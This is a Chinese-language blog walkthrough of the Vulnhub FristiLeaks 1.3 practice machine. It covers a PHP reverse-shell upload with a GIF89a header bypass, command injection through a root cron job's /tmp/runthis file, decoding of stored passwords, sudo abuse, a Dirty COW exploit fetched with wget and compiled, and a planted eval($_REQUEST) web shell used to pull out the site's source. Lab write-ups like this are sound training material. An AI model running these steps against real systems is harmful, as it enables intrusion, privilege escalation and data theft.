当前位置: 首页 > news >正文

【甄选靶场】Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月18日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

巅峰之路

  • Vulnhub百个项目渗透
  • 前言
  • 一、梳理流程
    • 配置靶场
    • 1.服务发现
    • 2.web突破
      • 1.页面信息收集
      • 2.脆弱服务突破
      • 3.webshell小技巧
    • 2.内网突破
      • 1.内网信息再次收集
      • 2.内网脆弱服务突破
    • 2.sudo提权
    • 3.脏牛提权
    • 4.源码获取


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

配置靶场

在这里插入图片描述

右键设置->网络适配器->高级,更改MAC地址为
08:00:27:A5:A6:76

在这里插入图片描述

然后再开机靶场,就可以看到ip了

1.服务发现

在这里插入图片描述

2.web突破

1.页面信息收集

恕我直言,我一开始啥也没搜集到,爆破目录只爆破出来一个robots.txt
看了一下,各种组合都访问不到,甚至做了本地host
直到我开始尝试页面那四个单词

在这里插入图片描述在这里插入图片描述

192.168.247.145/fristi
这是个页面,我绝绝子

在这里插入图片描述

看到登陆页面第一个想到

  1. 弱口令
  2. sql注入
  3. 页面信息枚举搜集泄露的密码

sql注入有点麻烦,我就试了弱口令,失败,那就查看一下页面信息,没有的话用cewl爬一下,实在不行再考虑sql

在这里插入图片描述

于是我打开了源码,先看到了一个用户

在这里插入图片描述

如此显眼的base64,不需要上面的提示我都知道,hhhhh天才

在这里插入图片描述

果断解码,一个是个图片,一个是乱码

在这里插入图片描述

是个图片,里面的应该是密码,但是我还是查看一下16进制信息,防止坑

strings from_the-x.png

在这里插入图片描述

2.脆弱服务突破

啥也没有,那密码就是那个一大串,然后登陆

在这里插入图片描述

文件上传的口子,啥也不想的,直接先用kali自带的php脚本搞上去,顺便加上 GIF89a 这个头(在php脚本里加)

locate php-reverse-shell.php   
----这个属于常识,我们要对kali自带的有好多种脚本熟悉,最起码记得个大概
cp xxxxxxxxxxxxxxxxxxxxxxxx .
gedit php-reverse-shell.php
再把后缀改成.jpg


文件里面要改的喔,IP和端口改成自己的


本地还要开一个对应的端口接shell喔

上传成功,提示说在/uploads这个目录下

在这里插入图片描述

但是访问失败

在这里插入图片描述

并且看下面那个图,没有转圈,说明根本就没执行,这就说明它因为解析jpg失败(因为他实际上是php),所以直接不解析。真是个懒逼。。。

  • WINDOWS呢是这样,如果有多个后缀,那他就从最后一个往回执行,直到成功解析,多后缀名绕过也是一种常见但是目前也基本没有活路的绕过方式啦

在这里插入图片描述

再执行
发现绕圈圈
本地的端口也接到了shell
那么就开始内网环节

3.webshell小技巧

https://github.com/melbinkm/PHPImageShell

直接上传该php的shell,可以运行command命令框!
然后执行python那些的反弹啊啥的都行了就

2.内网突破

1.内网信息再次收集

先上传提权3脚本,以前的博客有写,这里就不写了
我的终端不知道为什么是这样,可能是做了安全限制,一般解决办法就是本地写好然后复制粘贴

python -c 'import pty;pty.spawn ("/bin/bash")'  --生成稳定终端

在这里插入图片描述

然后就是枯燥的翻找,不过靶场一般还好,最多到上一级父目录就能发现下一步突破口了

在/home/eezeepz目录下发现:notes.txt文件

在这里插入图片描述

发现,翻译

2.内网脆弱服务突破

在这里插入图片描述

就是说意思是说如果正在运行脚本,则该脚本将在/tmp目录中以admin身份执行任何命令(如果位于runthis的文件中),所以只需要执行一个命令,使用/tmp/runthis文件技巧就可以访问/admin/文件(还有每个文件一分钟后才生效…)

先去user/bin看一下

在这里插入图片描述

没啥用,就一堆函数
那接下来就是要执行命令,利用他给的提示,给我们的apache服务权限,因为我们是通过apache搞进来的,所以我们就是apache用户,或者你要问我增麽知道是apache的,这个不重要或者告诉你说:第三张图nmap扫出来的?不重要

echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis   
---对apache赋权admin用户权限
ls -l /home/admin
cat /home/admin/cryptedpass.txt  发现信息:mVGZ3O3omkJLmy2pcuTq
cat /home/admin/whoisyourgodnow.txt  发现信息:=RFn0AKnlMHMPIzpyuTI0ITG


以及下面一个py文件
import base64,codecs,sys
def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult

在这里插入图片描述

经过实际操作,他给的源码有问题,报错,那我们稍微修改一下

在这里插入图片描述

他给的:
import base64,codecs,sys
def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult

我们写的,这些注释记得删掉,不然报错
python
import base64,codecs,sys      ------一样的       
// ---使用python导入base64,codecs,sys模块module!
rot13Str = "mVGZ3O3omkJLmy2pcuTq"  ----rot135str是我的自定义变量,输入密文
base64Str = codecs.decode(rot13Str[::-1], 'rot13') 
// --用codecs编码转换[::-1],decode编码转换rot13
clearTextStr = base64.b64decode(base64Str)   
// ---base64Str进行decode进行base64解码
print (clearTextStr)         
 //---打印出clearTextStr

总的来说就是依据现有规则做二创

在这里插入图片描述

成功,另一个同理,修改一下py文件就行

获得的两个密码:
thisisalsopw123
LetThereBeFristi!

到这里的话,我们还剩什么用户没有登陆了呢?剩一个admin,剩一个fristigod
这是刚才提权脚本扫出来的。。。

先登录admin用户,看一下能不能sudo提权

sudo -l  
提示:Sorry, user admin may not run sudo on 16-FristiLeaks_1.

在这里插入图片描述

2.sudo提权

不能用那就换一个

sudo -l 
提示:(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
直接将用户sudo用做fristi来访问/var/fristigod/.secret_admin_stuff/doCom:

那我们就按照他说的做呗

sudo /var/fristigod/.secret_admin_stuff/doCom su -
Sorry, user fristigod is not allowed to execute '/var/fristigod/.secret_admin_stuff/doCom su -' as root on 16-FristiLeaks_1.3.
翻译:不允许用户fristigod以root权限运行!

到这似乎已经是死路一条了,但是
在查看/var/fristigod目录下的cat .bash_history发现了历史命令:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
获得root权限!

或者将/bin/bash附加到doCom也行:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
获得root权限!

在这里插入图片描述
在这里插入图片描述

3.脏牛提权

内网信息收集的时候脚本跑出来的

wget http://10.211.55.19:8081/40839.c
gcc -pthread 40839.c -o dayu -lcrypt
chmod +x rong
./rong rong
执行完提示将firefart密码修改为rong为root权限!
su firefart
rong
然后就获得root权限了!

4.源码获取

GIF98
<?php eval($_REQUEST[1]);?>
cp /var/www/html/fristi/uploads

tar -zcvf web.tar.gz /var/www/html/*

cp web.tar.gz /var/www/html/fristi/uploads

这时候就可以download源码下来了!丢到seay里面去审计!

相关文章:

  • 苹果iPhone手机iOS16如何取消关闭复制粘贴时不停弹出的剪贴板粘贴提示通知弹窗?
  • Android移动应用开发之ImageView、ProgressBar和Notification的一些简单使用
  • SQL经典练习题(openGauss数据库)上
  • CSDN编程竞赛-第六期(下)
  • Spring 静态属性赋值 @value 注入静态属性 @Value注解用法
  • 【零基础学QT】第九章 窗口美化QSS的使用
  • aws codesuit workshop
  • Linux内存管理——段页式访问
  • Hadoop基础学习笔记
  • 微信小程序 - 页面插入添加 Banner 广告超详细教程(支持自定义样式、位置、大小等)及注意事项
  • JavaScript笔记9-节点操作
  • 【YOLOv7】使用 YOLOv7 做目标检测 (使用自己的数据集 + 图解超详细)
  • 【C语言】break 关键字
  • sql窗口函数学习笔记
  • 记:谷歌开发者大会2022——共码未来
  • C++11: atomic 头文件
  • ES6 ...操作符
  • PHP变量
  • Protobuf3语言指南
  • Python学习之路13-记分
  • Ruby 2.x 源代码分析:扩展 概述
  • Synchronized 关键字使用、底层原理、JDK1.6 之后的底层优化以及 和ReenTrantLock 的对比...
  • TiDB 源码阅读系列文章(十)Chunk 和执行框架简介
  • 订阅Forge Viewer所有的事件
  • 诡异!React stopPropagation失灵
  • 聊聊flink的TableFactory
  • 前端相关框架总和
  • 区块链技术特点之去中心化特性
  • 日剧·日综资源集合(建议收藏)
  • 如何胜任知名企业的商业数据分析师?
  • 如何学习JavaEE,项目又该如何做?
  • 手写一个CommonJS打包工具(一)
  • 双管齐下,VMware的容器新战略
  • 通过npm或yarn自动生成vue组件
  • 微信支付JSAPI,实测!终极方案
  • 我这样减少了26.5M Java内存!
  • 用element的upload组件实现多图片上传和压缩
  • - 语言经验 - 《c++的高性能内存管理库tcmalloc和jemalloc》
  • 原创:新手布局福音!微信小程序使用flex的一些基础样式属性(一)
  • ‌前端列表展示1000条大量数据时,后端通常需要进行一定的处理。‌
  • #git 撤消对文件的更改
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • (02)Cartographer源码无死角解析-(03) 新数据运行与地图保存、加载地图启动仅定位模式
  • (delphi11最新学习资料) Object Pascal 学习笔记---第5章第5节(delphi中的指针)
  • (python)数据结构---字典
  • (笔试题)合法字符串
  • (附源码)springboot助农电商系统 毕业设计 081919
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • (四)c52学习之旅-流水LED灯
  • (学习日记)2024.02.29:UCOSIII第二节
  • (转)PlayerPrefs在Windows下存到哪里去了?
  • *++p:p先自+,然后*p,最终为3 ++*p:先*p,即arr[0]=1,然后再++,最终为2 *p++:值为arr[0],即1,该语句执行完毕后,p指向arr[1]
  • .htaccess配置常用技巧
  • .net core webapi 大文件上传到wwwroot文件夹
  • .net core使用EPPlus设置Excel的页眉和页脚